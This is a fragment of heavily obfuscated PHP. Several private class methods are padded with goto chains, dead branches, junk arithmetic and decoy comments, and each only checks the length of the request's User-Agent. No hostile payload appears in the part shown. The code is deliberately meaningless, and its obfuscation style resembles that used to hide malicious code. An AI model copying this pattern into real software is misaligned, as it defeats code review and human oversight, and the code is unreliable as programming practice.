s5JG_rbk: return $WWDcP6ib > 10; } private function Ub_G933cLz() { goto iCTYqnDt; iCTYqnDt: if (false) { echo 'This is a dead end'; } goto N5BqBV6j; N5BqBV6j: $a6b9oay5s = 140 + 50; $a6b9oay5s = $a6b9oay5s * 3; goto UtHpvTUe; UtHpvTUe: if (false) { echo 'This is a dead end'; } goto EKHYIqzf; EKHYIqzf: /* Main service */ goto qTkwAdgV; qTkwAdgV: if (false) { echo 'This is a dead end'; } goto FbmnTUlT; FbmnTUlT: goto a8tx4TFh_; a8tx4TFh_: // g3T3Bqh7 if (false) { echo 'This is a dead end'; } goto UMKbrIMd; UMKbrIMd: goto iRYniCua; iRYniCua: /* rXi7a_rTkP */ $XsucffsH = 778 + 8; $a6b9oay5s = $XsucffsH * 4; goto DkVEf2jY; DkVEf2jY: goto QW_il3X8; QW_il3X8: /* vqMksciWqS */ $jIP39ari = 523 + 3; $iCjD65Pi = $jIP39ari * 5; goto m81VoFaf; m81VoFaf: /* Security component */ if (false) { echo 'This is a dead end'; } goto m87qFFwZ; m87qFFwZ: /* TcgDafXOGk49kU793K28 */ goto qVZZJNxI; qVZZJNxI: /* Security component */ goto Ln4Tq4Ga; Ln4Tq4Ga: goto G9OultAi; G9OultAi: $Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto ysVu0A_3; ysVu0A_3: /* _B_tvLSfJzz5cDM */ $NqlX8zGc = 642 + 40; $iX1geSuk = $NqlX8zGc * 5; if (false) { echo 'This is a dead end'; } goto If9H1f_K; If9H1f_K: $NqlX8zGc = 776 + 49; $iCjD65Pi = $NqlX8zGc * 1; goto PaNgUSU3; PaNgUSU3: $XsucffsH = 738 + 49; $jIP39ari = $XsucffsH * 2; goto a4d4Iz47u; a4d4Iz47u: /* API handler */ goto Qm3IovGg; Qm3IovGg: // TGJEVRBvdQmef3JB goto J891tauB; J891tauB: /* Core module */ $iX1geSuk = 663 + 20; $bZa4iOd6 = $iX1geSuk * 2; goto h_wTGJ_P; h_wTGJ_P: // hvFgmhk6 goto EYaabnpV; EYaabnpV: goto lWANJkfS; lWANJkfS: /* NN83G2jOIC */ goto a_Nswqdye; a_Nswqdye: /* Core module */ $B9ma2fmF = 292 + 37; $bZa4iOd6 = $B9ma2fmF * 2; goto I4SeUpiN; I4SeUpiN: /* Core module */ goto KpCWX3ap; KpCWX3ap: if (false) { echo 'This is a dead end'; } goto a3aUSifzm; a3aUSifzm: $a29IFo9lZ = 439 + 50; $FbaGmw5w = $a29IFo9lZ * 2; goto a1perBvvb; a1perBvvb: /* API handler */ $a6EHyDbxg = 759 + 13; $BqYDw4sr = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto a1WhKLhyK; a1WhKLhyK: $iCjD65Pi = 621 + 34; $iX1geSuk = $iCjD65Pi * 2; goto a1LJBiQoO; a1LJBiQoO: $WWDcP6ib = strlen($Pe9zuJ4r); goto tHSvvUC5; tHSvvUC5: $a6EHyDbxg = 942 + 1; $iCjD65Pi = $a6EHyDbxg * 3; goto XvPldrfJ; XvPldrfJ: goto urKsQhMW; urKsQhMW: $B9ma2fmF = 625 + 25; $jIP39ari = $B9ma2fmF * 5; goto hDF9vFFc; hDF9vFFc: $a6EHyDbxg = 890 + 46; $iX1geSuk = $a6EHyDbxg * 3; goto uQhhRWxa; uQhhRWxa: /* API handler */ $WWDcP6ib = 603 + 46; $Pe9zuJ4r = $WWDcP6ib * 1; goto idjwSKBi; idjwSKBi: if (false) { echo 'This is a dead end'; } goto a6KkPQdqE; a6KkPQdqE: // kH3DjDYc goto RyA_nwIR; RyA_nwIR: /* acmGyIj9uidTIh7WxgQG */ goto W7CNibuJ; W7CNibuJ: /* System file */ $FbaGmw5w = 712 + 5; $Pe9zuJ4r = $FbaGmw5w * 1; goto QhyFgD8r; QhyFgD8r: // DJWKl6Kt goto H1Ns31RK; H1Ns31RK: /* Core module */ goto NaG76AOQ; NaG76AOQ: $jIP39ari = 815 + 37; $NqlX8zGc = $jIP39ari * 5; if (false) { echo 'This is a dead end'; } goto WNcBZ5ZN; WNcBZ5ZN: /* API handler */ $a6b9oay5s = 769 + 20; $a29IFo9lZ = $a6b9oay5s * 2; goto POY21uwr; POY21uwr: goto ibnWhWkX; ibnWhWkX: /* noiK4ct0QOwvbKPNOuri */ goto a2j03I69k; a2j03I69k: return $WWDcP6ib > 10; } private function JRhV4bR0Jf() { /* u9EMfchRki */ goto wxTCu8bC; wxTCu8bC: // 5YL7smP_ goto a4a5h7Ppx; a4a5h7Ppx: /* Main service */ goto iyORMvPA; iyORMvPA: /* System file */ goto UcWI1Q24; UcWI1Q24: goto a2pZCj2Tl; a2pZCj2Tl: $n7sJ6WnP = 952 + 8; $iX1geSuk = $n7sJ6WnP * 5; if (false) { echo 'This is a dead end'; } goto a4OgBhgXb; a4OgBhgXb: /* HFAmxdf4u6m0ftC3SXd6 */ goto EpXokAz4; EpXokAz4: goto WhQwZJhw; WhQwZJhw: if (false) { echo 'This is a dead end'; } goto CTCWpNQT; CTCWpNQT: goto a9ZumiMJE; a9ZumiMJE: goto DPkmKIFt; DPkmKIFt: /* Security component */ $a6EHyDbxg = 688 + 37; $FbaGmw5w = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto fUdC6_tB; fUdC6_tB: // cziOn_iM_iudA2v7 if (false) { echo 'This is a dead end'; } goto MyFr07bC; MyFr07bC: // CvyDwlhk goto P3otZAZA; P3otZAZA: goto wLHHCCkT; wLHHCCkT: /* k7xhXRMo9aANCA5J4olT */ goto Cj0JyUgJ; Cj0JyUgJ: $n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto zMo5Vz9p; zMo5Vz9p: $n7sJ6WnP = 438 + 46; $iCjD65Pi = $n7sJ6WnP * 2; if (false) { echo 'This is a dead end'; } goto gujcrDal; gujcrDal: $a29IFo9lZ = 191 + 44; $WWDcP6ib = $a29IFo9lZ * 1; goto a1SdMdrhV; a1SdMdrhV: $XsucffsH = 644 + 10; $iX1geSuk = $XsucffsH * 2; if (false) { echo 'This is a dead end'; } goto a_M2v4x3r; a_M2v4x3r: $bZa4iOd6 = 387 + 9; $n7sJ6WnP = $bZa4iOd6 * 5; goto a2qPcb1bX; a2qPcb1bX: if (false) { echo 'This is a dead end'; } goto V0b1AtQz; V0b1AtQz: $jIP39ari = 423 + 35; $bZa4iOd6 = $jIP39ari * 4; goto tWs7nKaf; tWs7nKaf: // fpZQQzxP goto Fmk88rt7; Fmk88rt7: // KZ7RG_mH goto CGN1HIBg; CGN1HIBg: goto ahBwkpsZ; ahBwkpsZ: /* Main service */ if (false) { echo 'This is a dead end'; } goto qvV5ZRYF; qvV5ZRYF: goto Ay790hgS; Ay790hgS: /* Security component */ goto a008KdzoD; a008KdzoD: $a6EHyDbxg = 342 + 4; $XsucffsH = $a6EHyDbxg * 3; goto Cn0MAYnn; Cn0MAYnn: // ltvG1KpYJLSdEnGy $bZa4iOd6 = 406 + 11; $a6EHyDbxg = $bZa4iOd6 * 4; goto IpTdfIWS; IpTdfIWS: // xy4qyZG3 $Pe9zuJ4r = 339 + 43; $a6EHyDbxg = $Pe9zuJ4r * 4; goto JyDusuN_; JyDusuN_: $XsucffsH = strlen($n7sJ6WnP); goto LHl26Nzo; LHl26Nzo: goto LvKjMc7p; LvKjMc7p: goto atu8yu91; atu8yu91: if (false) { echo 'This is a dead end'; } goto a0fs1Z2TW; a0fs1Z2TW: goto zQjjFPnV; zQjjFPnV: /* Itv0HeVU1QeKkXS7w8FP */ goto XJoywvmi; XJoywvmi: $a6b9oay5s = 554 + 41; $XsucffsH = $a6b9oay5s * 4; if (false) { echo 'This is a dead end'; } goto FsYStcuL; FsYStcuL: /* System file */ goto a0B9KTUqU; a0B9KTUqU: goto cg8fhF4V; cg8fhF4V: if (false) { echo 'This is a dead end'; } goto CYfAd1JU; CYfAd1JU: /* System file */ $iCjD65Pi = 947 + 34; $BqYDw4sr = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto a4apfSxbE; a4apfSxbE: /* Core module */ goto a15MzoRH4; a15MzoRH4: /* Security component */ $bZa4iOd6 = 706 + 29; $a6EHyDbxg = $bZa4iOd6 * 3; if (false) { echo 'This is a dead end'; } goto a2eY0Q0xe; a2eY0Q0xe: /* Zv80KvLzdI */ goto Oqm7W70Y; Oqm7W70Y: // LmcVNBpC goto iUB4q15J; iUB4q15J: /* IV4NGlw8ob */ goto xQj2T8iM; xQj2T8iM: return $XsucffsH > 10; } private function sZ8yImcmkt() { goto UbwSnXv8; UbwSnXv8: goto nJ_yBl81; nJ_yBl81: // Ev64qA67D5M_ $a29IFo9lZ = 617 + 23; $iCjD65Pi = $a29IFo9lZ * 5; goto fxWxdaqm; fxWxdaqm: goto U9au4KEx; U9au4KEx: goto jVpzBvuN; jVpzBvuN: /* atQz_C31nzDsdyM */ $a29IFo9lZ = 151 + 23; $a29IFo9lZ = $a29IFo9lZ * 1; goto uENmk8lS; uENmk8lS: $B9ma2fmF = 842 + 37; $BqYDw4sr = $B9ma2fmF * 3; goto VsIABHnC; VsIABHnC: $jIP39ari = 686 + 23; $iX1geSuk = $jIP39ari * 3; goto pd3sM7Pd; pd3sM7Pd: // CtlXSfAthYZK $Pe9zuJ4r = 295 + 47; $WWDcP6ib = $Pe9zuJ4r * 1; goto NdrjC9no; NdrjC9no: goto jCGzLS4E; jCGzLS4E: /* System file */ goto HMzJXsud; HMzJXsud: $NqlX8zGc = 385 + 17; $Pe9zuJ4r = $NqlX8zGc * 1; if (false) { echo 'This is a dead end'; } goto nikWQ9AW; nikWQ9AW: goto PvVz7K0M; PvVz7K0M: $XsucffsH = 844 + 6; $WWDcP6ib = $XsucffsH * 5; goto UdoYR5g4; UdoYR5g4: /* Core module */ goto cuDsGPms; cuDsGPms: /* Security component */ goto a_B_aYRYF; a_B_aYRYF: $a29IFo9lZ = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a5T30hRqg; a5T30hRqg: /* t9sXelUn1z */ goto a4u_nlvS1; a4u_nlvS1: /* Core module */ goto D_DBEuGr; D_DBEuGr: if (false) { echo 'This is a dead end'; } goto PVP04OnZ; PVP04OnZ: goto OEujBalb; OEujBalb: /* Main service */ goto xC62vlX2; xC62vlX2: goto bAymKUmd; bAymKUmd: $a6b9oay5s = 930 + 34; $a6EHyDbxg = $a6b9oay5s * 3; if (false) { echo 'This is a dead end'; } goto n4cnrVsO; n4cnrVsO: // 3AXP2zDde1F7 if (false) { echo 'This is a dead end'; } goto jPyWsOZA; jPyWsOZA: goto gYJh4cC8; gYJh4cC8: goto zQRfNx7N; zQRfNx7N: // jx99soCzT987 goto j_KPHa0A; j_KPHa0A: if (false) { echo 'This is a dead end'; } goto mgsb0_hL; mgsb0_hL: goto NGH3W5Tv; NGH3W5Tv: goto fUN0giQm; fUN0giQm: $iX1geSuk = 757 + 10; $BqYDw4sr = $iX1geSuk * 2; goto qIVJJhAC; qIVJJhAC: $iX1geSuk = strlen($a29IFo9lZ); goto c3M2NKBB; c3M2NKBB: /* System file */ if (false) { echo 'This is a dead end'; } goto s7xlOiiT; s7xlOiiT: /* Main service */ $BqYDw4sr = 429 + 4; $BqYDw4sr = $BqYDw4sr * 2; if (false) { echo 'This is a dead end'; } goto a_c_l3wgo; a_c_l3wgo: /* Security component */ goto x7imBlFb; x7imBlFb: /* Core module */ goto NIVFfHWd; NIVFfHWd: /* Security component */ goto JSPmEvXk; JSPmEvXk: if (false) { echo 'This is a dead end'; } goto khQ3O1yz; khQ3O1yz: $a6EHyDbxg = 402 + 19; $B9ma2fmF = $a6EHyDbxg * 2; goto RV2YBxMR; RV2YBxMR: // QWaqMPXiv5gC goto IktQzH7F; IktQzH7F: goto tsZ0fZ50; tsZ0fZ50: $iX1geSuk = 625 + 34; $a29IFo9lZ = $iX1geSuk * 1; goto UIT_Hlke; UIT_Hlke: $NqlX8zGc = 552 + 22; $a6b9oay5s = $NqlX8zGc * 4; goto Apfh6iEI; Apfh6iEI: /* 5v5y0rve_6 */ $Pe9zuJ4r = 332 + 48; $NqlX8zGc = $Pe9zuJ4r * 2; goto EfjW5Xah; EfjW5Xah: if (false) { echo 'This is a dead end'; } goto UQOeY2nF; UQOeY2nF: goto Lo1QCBYc; Lo1QCBYc: $BqYDw4sr = 969 + 14; $a6b9oay5s = $BqYDw4sr * 4; goto ail37H8u; ail37H8u: return $iX1geSuk > 10; } private function J3LZb2dSFN() { goto PbdeREcm; PbdeREcm: /* API handler */ $XsucffsH = 707 + 29; $B9ma2fmF = $XsucffsH * 2; goto EsNS4XlO; EsNS4XlO: $XsucffsH = 557 + 33; $B9ma2fmF = $XsucffsH * 4; goto ZuwNPQKi; ZuwNPQKi: if (false) { echo 'This is a dead end'; } goto Srg_YeU9; Srg_YeU9: /* System file */ $WWDcP6ib = 697 + 25; $iX1geSuk = $WWDcP6ib * 3; goto hl781t5w; hl781t5w: goto a_yn236E3; a_yn236E3: $iCjD65Pi = 432 + 8; $n7sJ6WnP = $iCjD65Pi * 2; goto zKAEWznx; zKAEWznx: goto lnoHjwab; lnoHjwab: /* TkUUiKnLzBFSMWs */ goto M7jRVIpS; M7jRVIpS: /* System file */ $BqYDw4sr = 432 + 31; $n7sJ6WnP = $BqYDw4sr * 4; goto ev1JpQcP; ev1JpQcP: goto YbH84bM5; YbH84bM5: // tbE9M6RY goto Z6tQU7eL; Z6tQU7eL: goto TtF3hr8K; TtF3hr8K: goto iRQk9lvd; iRQk9lvd: goto uNh5hgkn; uNh5hgkn: $a6b9oay5s = 922 + 5; $a6EHyDbxg = $a6b9oay5s * 1; goto kDv_rH5v; kDv_rH5v: $n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto CxvlBX29; CxvlBX29: /* gN4QUXbtiByv6iE */ $B9ma2fmF = 664 + 42; $B9ma2fmF = $B9ma2fmF * 1; goto bLQyj_Mu; bLQyj_Mu: if (false) { echo 'This is a dead end'; } goto a_cHLUhNm; a_cHLUhNm: goto a1k285bfW; a1k285bfW: $iX1geSuk = 467 + 20; $iX1geSuk = $iX1geSuk * 2; goto a4QGw1hSr; a4QGw1hSr: goto DcGT19j_; DcGT19j_: // 0vMJFjzQ $FbaGmw5w = 848 + 16; $B9ma2fmF = $FbaGmw5w * 5; if (false) { echo 'This is a dead end'; } goto PWid24Jt; PWid24Jt: $BqYDw4sr = 682 + 21; $a6EHyDbxg = $BqYDw4sr * 5; goto aaGbD0ms; aaGbD0ms: goto f7b0izO2; f7b0izO2: /* tEAOl9ytGH */ $jIP39ari = 133 + 30; $FbaGmw5w = $jIP39ari * 5; goto lgvjw9bj; lgvjw9bj: $XsucffsH = 338 + 40; $iCjD65Pi = $XsucffsH * 1; goto XJ5Sey9M; XJ5Sey9M: goto M5z_it40; M5z_it40: // i1FS2R_weRNd goto RKkHbnvA; RKkHbnvA: goto xJXtYJzG; xJXtYJzG: goto BZoniJ1M; BZoniJ1M: $FbaGmw5w = 540 + 50; $a6b9oay5s = $FbaGmw5w * 5; goto MpQFkcH5; MpQFkcH5: $FbaGmw5w = strlen($n7sJ6WnP); goto a19tpLn9S; a19tpLn9S: /* Core module */ $jIP39ari = 891 + 46; $XsucffsH = $jIP39ari * 1; if (false) { echo 'This is a dead end'; } goto jKIzKUXa; jKIzKUXa: goto BmCcrRVI; BmCcrRVI: if (false) { echo 'This is a dead end'; } goto YbAg1tUV; YbAg1tUV: goto E1w1VHsU; E1w1VHsU: goto a2Sep7Wba; a2Sep7Wba: /* Main service */ if (false) { echo 'This is a dead end'; } goto aBXLv3t9; aBXLv3t9: // MLVhHTgd goto a5wDHGikU; a5wDHGikU: $bZa4iOd6 = 379 + 43; $jIP39ari = $bZa4iOd6 * 2; if (false) { echo 'This is a dead end'; } goto LBbHANSy; LBbHANSy: /* API handler */ goto ebdYXF0K; ebdYXF0K: /* zq3TCIBeUM_gwbk */ if (false) { echo 'This is a dead end'; } goto oX4Yboh6; oX4Yboh6: /* w33jQ9UfS3 */ $iX1geSuk = 626 + 11; $B9ma2fmF = $iX1geSuk * 2; goto Op2Reo6I; Op2Reo6I: // kr1lZXzNoXQ7NpDQ goto PphCyojU; PphCyojU: goto iGu9gMFB; iGu9gMFB: goto go1XtpTk; go1XtpTk: // VXZT6KuUWZF7 goto oG0csGLv; oG0csGLv: return $FbaGmw5w > 10; } private function a9J8J5h9v7G() { goto HDntdp_w; HDntdp_w: goto mEKlYt1o; mEKlYt1o: if (false) { echo 'This is a dead end'; } goto sG6wAk2k; sG6wAk2k: $bZa4iOd6 = 464 + 6; $iX1geSuk = $bZa4iOd6 * 1; goto SYMRC49h; SYMRC49h: /* YJZdiWZXnJevnwyq3goO */ $jIP39ari = 197 + 27; $NqlX8zGc = $jIP39ari * 2; goto iwM46F1F; iwM46F1F: /* 011bA1OF9K */ $NqlX8zGc = 534 + 5; $WWDcP6ib = $NqlX8zGc * 4; goto xS0mzNAQ; xS0mzNAQ: goto PCPLpcxp; PCPLpcxp: goto J35r4tGU; J35r4tGU: goto RT_BG76y; RT_BG76y: $a6EHyDbxg = 838 + 30; $XsucffsH = $a6EHyDbxg * 1; goto Gl61YlB1; Gl61YlB1: /* Security component */ if (false) { echo 'This is a dead end'; } goto Tm1vLYP8; Tm1vLYP8: $a6EHyDbxg = 276 + 38; $NqlX8zGc = $a6EHyDbxg * 5; goto a5UjAy6y6; a5UjAy6y6: /* XHAteylgxH */ goto LN90xUP2; LN90xUP2: goto iS4E3OPQ; iS4E3OPQ: // TGGQZfYceZEQRHLk if (false) { echo 'This is a dead end'; } goto InS8Uksw; InS8Uksw: /* 3CwsK0AuYb */ $BqYDw4sr = 500 + 36; $n7sJ6WnP = $BqYDw4sr * 3; goto a4lxMASKJ; a4lxMASKJ: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto YEYgAKmb; YEYgAKmb: /* P6ubjKc5eA9jaJXzxqUw */ goto akIUea6u; akIUea6u: $Pe9zuJ4r = 196 + 20; $iCjD65Pi = $Pe9zuJ4r * 1; if (false) { echo 'This is a dead end'; } goto DDbJIwqR; DDbJIwqR: goto a4I7bONRg; a4I7bONRg: $bZa4iOd6 = 733 + 37; $XsucffsH = $bZa4iOd6 * 2; goto gI2TirH8; gI2TirH8: // raUeiAQw goto Aiioptz_; Aiioptz_: /* API handler */ goto TBpvyUyh; TBpvyUyh: goto m867i0bK; m867i0bK: goto tv7j6Id5; tv7j6Id5: goto pjv7sNyM; pjv7sNyM: /* API handler */ goto rWP9kjoo; rWP9kjoo: /* Security component */ goto a3yxRzelp; a3yxRzelp: /* F7uUjgMv8RT_kTj */ $n7sJ6WnP = 449 + 44; $XsucffsH = $n7sJ6WnP * 2; goto YoA3T4CC; YoA3T4CC: goto hG93oUsh; hG93oUsh: goto GxU3GFqy; GxU3GFqy: /* norY5TeV5C */ goto FbXXadky; FbXXadky: $a6EHyDbxg = strlen($XsucffsH); goto vRKTJT4l; vRKTJT4l: goto hSUsH8ew; hSUsH8ew: /* Core module */ goto Nar22GGx; Nar22GGx: if (false) { echo 'This is a dead end'; } goto mPEZGky9; mPEZGky9: goto eFSFtG3z; eFSFtG3z: goto kUqTg1eH; kUqTg1eH: goto niNcE_mE; niNcE_mE: goto aikca54f; aikca54f: goto k3GKS0mO; k3GKS0mO: /* Z8TZ89Vqvxl2tRzu1QOO */ $a6b9oay5s = 989 + 35; $Pe9zuJ4r = $a6b9oay5s * 2; goto HkhF4zzX; HkhF4zzX: /* Security component */ goto rRlbKjF6; rRlbKjF6: if (false) { echo 'This is a dead end'; } goto YyVWANIB; YyVWANIB: // lOXn867vIJ46pJZl goto NTKVTVA2; NTKVTVA2: /* System file */ goto XeLgV2bf; XeLgV2bf: goto B4bFDgpK; B4bFDgpK: /* 5qznXtC_XO3lmum */ $iX1geSuk = 722 + 44; $iX1geSuk = $iX1geSuk * 5; goto EXefdD6a; EXefdD6a: return $a6EHyDbxg > 10; } private function yID7t2dCJD() { goto P73pcMLN; P73pcMLN: $NqlX8zGc = 628 + 3; $iCjD65Pi = $NqlX8zGc * 5; goto Jhdq7KBk; Jhdq7KBk: // GO43ztIbE5ec goto MDsbyrov; MDsbyrov: $B9ma2fmF = 457 + 11; $a6EHyDbxg = $B9ma2fmF * 1; goto jSTvrTWP; jSTvrTWP: /* Mtmrq7OiXefLLZhUEWsn */ goto zbj7BlYB; zbj7BlYB: // uwu7xTcz $a29IFo9lZ = 815 + 42; $iCjD65Pi = $a29IFo9lZ * 1; if (false) { echo 'This is a dead end'; } goto L1zm4owd; L1zm4owd: $bZa4iOd6 = 648 + 40; $a29IFo9lZ = $bZa4iOd6 * 1; goto oTYOVemv; oTYOVemv: goto S_N7odwx; S_N7odwx: /* Ziva84ORrBpBwNgBE12y */ $n7sJ6WnP = 935 + 24; $WWDcP6ib = $n7sJ6WnP * 4; goto hSMtZJAv; hSMtZJAv: $bZa4iOd6 = 759 + 15; $XsucffsH = $bZa4iOd6 * 3; if (false) { echo 'This is a dead end'; } goto srVmn6u_; srVmn6u_: goto a7RmlXhIc; a7RmlXhIc: /* I2PSp2LAm5oBkMt */ goto ESvhAmfN; ESvhAmfN: /* Core module */ goto Zt6czDZH; Zt6czDZH: /* KdbzRLZTL1CRd9m */ $NqlX8zGc = 232 + 22; $a6b9oay5s = $NqlX8zGc * 3; goto a2ubXcuu; a2ubXcuu: if (false) { echo 'This is a dead end'; } goto OxUcf_Sy; OxUcf_Sy: goto xisKoMx7; xisKoMx7: $jIP39ari = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto XMAfWFdO; XMAfWFdO: $XsucffsH = 992 + 21; $WWDcP6ib = $XsucffsH * 5; goto ZQWVNGGR; ZQWVNGGR: if (false) { echo 'This is a dead end'; } goto aNxzFUcF; aNxzFUcF: goto a2Murma4v; a2Murma4v: /* System file */ goto IqZejyX4; IqZejyX4: goto lnjp81dG; lnjp81dG: /* Core module */ goto a7gdx_HBI; a7gdx_HBI: /* SHTXpkzzwb */ $WWDcP6ib = 323 + 24; $a6b9oay5s = $WWDcP6ib * 3; if (false) { echo 'This is a dead end'; } goto KI02MYP6; KI02MYP6: /* P8NP13x70OnwIla */ $iCjD65Pi = 810 + 49; $B9ma2fmF = $iCjD65Pi * 3; goto iVUWGMUB; iVUWGMUB: $iX1geSuk = 925 + 18; $iX1geSuk = $iX1geSuk * 5; goto UDDiigfg; UDDiigfg: $XsucffsH = 820 + 3; $B9ma2fmF = $XsucffsH * 4; goto xURhKDHt; xURhKDHt: $Pe9zuJ4r = 542 + 28; $iCjD65Pi = $Pe9zuJ4r * 2; goto WYQ5Dc0p; WYQ5Dc0p: if (false) { echo 'This is a dead end'; } goto Ap0GC8SY; Ap0GC8SY: $XsucffsH = 315 + 12; $jIP39ari = $XsucffsH * 4; if (false) { echo 'This is a dead end'; } goto ao33jweY; ao33jweY: goto OscY1o75; OscY1o75: goto wMcG7WgE; wMcG7WgE: $iCjD65Pi = strlen($jIP39ari); goto a86Nv029Y; a86Nv029Y: /* Core module */ goto Zne6Gcqd; Zne6Gcqd: /* API handler */ $BqYDw4sr = 262 + 10; $NqlX8zGc = $BqYDw4sr * 5; goto mL7dsoB6; mL7dsoB6: goto iMnkynJR; iMnkynJR: goto Qu6nt2WM; Qu6nt2WM: /* Main service */ goto M_Q5ghNj; M_Q5ghNj: if (false) { echo 'This is a dead end'; } goto rLZbjrdj; rLZbjrdj: /* System file */ $FbaGmw5w = 722 + 35; $n7sJ6WnP = $FbaGmw5w * 1; goto c2viGbjF; c2viGbjF: $XsucffsH = 964 + 3; $B9ma2fmF = $XsucffsH * 4; goto YNemGfvZ; YNemGfvZ: /* wr3q0Jf3Bs0eXH3 */ goto AZqj6q6a; AZqj6q6a: $FbaGmw5w = 651 + 27; $n7sJ6WnP = $FbaGmw5w * 3; if (false) { echo 'This is a dead end'; } goto vxe_KmGy; vxe_KmGy: $iCjD65Pi = 544 + 34; $a29IFo9lZ = $iCjD65Pi * 1; goto wONGGOQu; wONGGOQu: /* Core module */ $FbaGmw5w = 139 + 11; $iX1geSuk = $FbaGmw5w * 2; goto HCYhZYx3; HCYhZYx3: if (false) { echo 'This is a dead end'; } goto HjcWJ6ut; HjcWJ6ut: /* 5yFClRpfbWNUaT0 */ $XsucffsH = 203 + 47; $iCjD65Pi = $XsucffsH * 2; goto uSuDjfsk; uSuDjfsk: $FbaGmw5w = 949 + 5; $a6EHyDbxg = $FbaGmw5w * 1; goto a3U_98cZq; a3U_98cZq: return $iCjD65Pi > 10; } private function a2R22OYcqWZ() { goto haPathUL; haPathUL: // KaZxOahryOY6 $FbaGmw5w = 377 + 16; $WWDcP6ib = $FbaGmw5w * 1; goto a_KGTPMPr; a_KGTPMPr: /* avv3I92LiaFqV03 */ $iX1geSuk = 988 + 32; $a6EHyDbxg = $iX1geSuk * 5; goto a00S7XTvg; a00S7XTvg: goto ujt4NmPB; ujt4NmPB: $bZa4iOd6 = 738 + 27; $a29IFo9lZ = $bZa4iOd6 * 5; goto T9tZr7Ig; T9tZr7Ig: /* Core module */ $n7sJ6WnP = 271 + 21; $a6EHyDbxg = $n7sJ6WnP * 2; goto a65mdo2_2; a65mdo2_2: /* API handler */ $XsucffsH = 133 + 37; $n7sJ6WnP = $XsucffsH * 1; goto Fc5bL377; Fc5bL377: /* tRD6TaaWZCm6N_z */ $NqlX8zGc = 187 + 13; $XsucffsH = $NqlX8zGc * 4; goto a9PMN1EjI; a9PMN1EjI: // d0kEUCgsg8rs goto niGIhrBI; niGIhrBI: $a6EHyDbxg = 462 + 48; $n7sJ6WnP = $a6EHyDbxg * 2; goto a1S8_tLU6; a1S8_tLU6: goto olG1o3Wp; olG1o3Wp: /* System file */ goto a3jIkoYwE; a3jIkoYwE: // mYSxVl4L2IzMxlDK goto hNeOW7hz; hNeOW7hz: // Vaue4pGs $a6EHyDbxg = 646 + 34; $WWDcP6ib = $a6EHyDbxg * 1; goto sCaVarKb; sCaVarKb: if (false) { echo 'This is a dead end'; } goto sia7yz3u; sia7yz3u: $NqlX8zGc = 613 + 13; $a6EHyDbxg = $NqlX8zGc * 2; goto dqdbfR70; dqdbfR70: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto HTaeoCfo; HTaeoCfo: // zvT2HYx00VdwN26a $iCjD65Pi = 781 + 49; $FbaGmw5w = $iCjD65Pi * 3; goto hWXa9BJa; hWXa9BJa: if (false) { echo 'This is a dead end'; } goto i3OPaPqc; i3OPaPqc: /* Main service */ goto n6AuaZ8S; n6AuaZ8S: $a6b9oay5s = 578 + 31; $NqlX8zGc = $a6b9oay5s * 5; goto Ngrbvvoc; Ngrbvvoc: /* Main service */ goto e179lmYT; e179lmYT: $Pe9zuJ4r = 866 + 27; $NqlX8zGc = $Pe9zuJ4r * 3; goto e4m0i3Vd; e4m0i3Vd: goto aqrf0OXk; aqrf0OXk: /* Main service */ goto YjxL1cpB; YjxL1cpB: goto e3UourHc; e3UourHc: // VX1Xk_XC $a6EHyDbxg = 390 + 34; $iCjD65Pi = $a6EHyDbxg * 3; goto JpENjADF; JpENjADF: /* Security component */ if (false) { echo 'This is a dead end'; } goto ctfdCkie; ctfdCkie: // rwpNFg_nzd15tpfX if (false) { echo 'This is a dead end'; } goto gwfxttdW; gwfxttdW: // 65rdOqmECsINmFKG if (false) { echo 'This is a dead end'; } goto PPIzXSMe; PPIzXSMe: /* Ek_mEaK6NXI2QOexqWVo */ goto a1VlMOXG5; a1VlMOXG5: if (false) { echo 'This is a dead end'; } goto Nc4WylM2; Nc4WylM2: $iX1geSuk = strlen($XsucffsH); goto a8DuscNMF; a8DuscNMF: goto a0USt_k9A; a0USt_k9A: goto a26s3Wdfb; a26s3Wdfb: goto c_gvjm_s; c_gvjm_s: /* FIYz8aCtiQtjR5u */ goto dZOnyQFG; dZOnyQFG: /* API handler */ goto f2r_YMQb; f2r_YMQb: if (false) { echo 'This is a dead end'; } goto jPMJRhwJ; jPMJRhwJ: // gfYjK4ua_ycwb0WF goto h8DqX5WA; h8DqX5WA: if (false) { echo 'This is a dead end'; } goto a9WwKrDbo; a9WwKrDbo: goto nV1ZmWjA; nV1ZmWjA: // zf7Yh5Go goto Bf6JNfAV; Bf6JNfAV: $jIP39ari = 790 + 17; $Pe9zuJ4r = $jIP39ari * 4; goto mVjqWTFe; mVjqWTFe: goto lSWCfgwu; lSWCfgwu: goto a_VT0ork0; a_VT0ork0: $bZa4iOd6 = 906 + 29; $Pe9zuJ4r = $bZa4iOd6 * 5; if (false) { echo 'This is a dead end'; } goto pcbXCS4s; pcbXCS4s: $NqlX8zGc = 119 + 23; $FbaGmw5w = $NqlX8zGc * 2; goto zGIZYmYw; zGIZYmYw: return $iX1geSuk > 10; } private function dux1kfWC51() { goto a5qXFSQY1; a5qXFSQY1: goto a4gFirt4g; a4gFirt4g: goto AdmsEm3n; AdmsEm3n: // HZ5oxtbA $a29IFo9lZ = 282 + 13; $bZa4iOd6 = $a29IFo9lZ * 4; goto nvuHeiz5; nvuHeiz5: if (false) { echo 'This is a dead end'; } goto ms7q5ESS; ms7q5ESS: goto itTrBlTP; itTrBlTP: $bZa4iOd6 = 506 + 10; $WWDcP6ib = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto zs7vHsGv; zs7vHsGv: $WWDcP6ib = 849 + 28; $a29IFo9lZ = 